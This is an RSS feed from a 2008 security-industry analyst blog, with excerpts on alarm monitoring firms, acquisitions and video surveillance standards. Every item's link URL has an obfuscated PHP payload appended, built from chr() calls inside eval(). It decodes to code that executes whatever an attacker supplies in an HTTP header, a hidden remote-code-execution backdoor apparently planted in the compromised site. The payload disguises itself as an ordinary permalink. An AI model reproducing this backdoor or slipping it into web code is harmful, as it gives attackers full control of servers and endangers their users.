http://www.thesecurityanalyst.com/blog Everything Security Sun, 27 Jul 2008 23:59:00 +0000 http://backend.userland.com/rss092 en I am gratified by the encouragement and response from the thousands of unique visitors to the site, TheSecurityAnalyst.com since I started it in May.  We also appreciate being picked up by Seeking Alpha at the end of June, which multiplied the readership.  I would note that since our last blog, ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% I am gratified by the encouragement and response from the several thousand unique visitors to the site TheSecurityAnalyst.com since I started it in May.  Since being picked up by Seeking Alpha at the end of June, I have been swamped with requests for a listing of the earlier blogs on ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% It is ironic that we have been writing for years that Government contracts are very important for the security industry, but ultimately most of them –even the largest – should mostly serve as beta-tests and reference sites for what should be a much larger industrial/commercial and institutional market.  Over the long term ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% We'd like to thank our special "guest" assistant and end user sources for help on this blog.   SSO Becoming a Key Security Convergence Component.  With chief security officers at enterprises finding that physical security and IT infrastructure becoming more and more complex and harder for individual departments to manage, so-called “Single-sign ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% Note:  Our blog below on China Security & Surveillance may appeal to a more limited audience than our previous blogs on monitoring and identification.  For those of you on our new, expanded list, please look at these other blogs as well before indicating that you want to be taken off the distribution ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% In one of the more bazaar moves we have seen, Digimarc has announced that it has received an unsolicited offer of $300 million in cash for its ID Systems division from Safran S.A., (the French parent of Sagem).  This tops a bid by L-1 Identity Solutions for $250 million, about ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% Once again, our move to switch our blog “away” from monitoring and back to technology is being delayed by one more article – this time, an article from a distinguished industry guest, Lee Jones.  When I started as an analyst in 1983, I asked who was the most respected consultant in the ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% Due to technical difficulties, the fifth paragraph of last night's L-1 blog did not appear in full, missing several sentences (the paragraph immediately after the headline: Consolidation Seems Logical to us Among US Identification Programs).  The blog has now been edited to reflect the additional sentences to the paragraph which explains ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*%   As we move toward blogging on the identification, access control and biometrics space (delayed temporarily by events in the monitoring sector), we would like to remind readers that we still believe that when national and local governments, and prime contractors looking for a strong multi-model provider of their equipment services ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% On June 2, we put out a blog that industry scuttlebutt had the Sonitrol Management Corp. (owned by three private equity firms) being on the block for sale, with Stanley Works having the inside track .  The main point we tried to make was that whoever bought Sonitrol Management would need to ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*%   I am warning readers:  This is going to be a long blog on ADT Worldwide.  While I have received good, meaty feedback on our mainly monitoring-related blogs over the past few weeks, I have also been getting some static, prodding me to write about more end-user, technical issues such as ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*%     A couple of smart investors asked if I calculated the forward steady state cash flow of Brinks Home Security, based on its new filings with the SEC.  Smart alecs!!!  Seeing as how I am not in the business of projecting estimates and price targets, nor giving out buy-sell-hold recommendations, for ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% Sonitrol is truly one of the iconic brands of the security monitoring business.  It is fair to say virtually no other brand has gained as much respect with third-party responders (i.e., police departments) as has Sonitrol, and I continue to believe that with the verification issue not going away, guaranteed ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*%   The Brinks Company is spinning off its Brinks Home Security (BHS) unit, and on May 30, BHS filed a “Form 10” with the SEC, representing its preliminary pro forma financials as well as its ongoing relationship with Brinks Inc.  Along with the financial pro forma’s, there are two “surprise” issues ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% We just happened to glance at our security monitoring valuation table today -- you know the one that compares six of the largest companies on multiple valuation ratios -- in advance of Protection One’s first quarter report, coming Wednesday, May 14.  I was shocked, and asked myself “where have I ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% We know most industry (and all financial) observers’ eyes glaze over when we talk about standards.  But there is something going on in the video industry that may just be very important.  Yesterday May 12, a consortium of Axis Communications, Sony and privately-held Bosch – three of the leading names ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*% Axis Communications (Axis AB, based in Lund, Sweden) and U.S. based FLIR Systems are the two leading companies in their respective technological niches in the $7 billion video surveillance industry.  Axis is the leading provider of IP network video cameras, while FLIR is the leading provider of infrared cameras for ... http://www.thesecurityanalyst.com/blog/%tugalugatron[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()}}]*%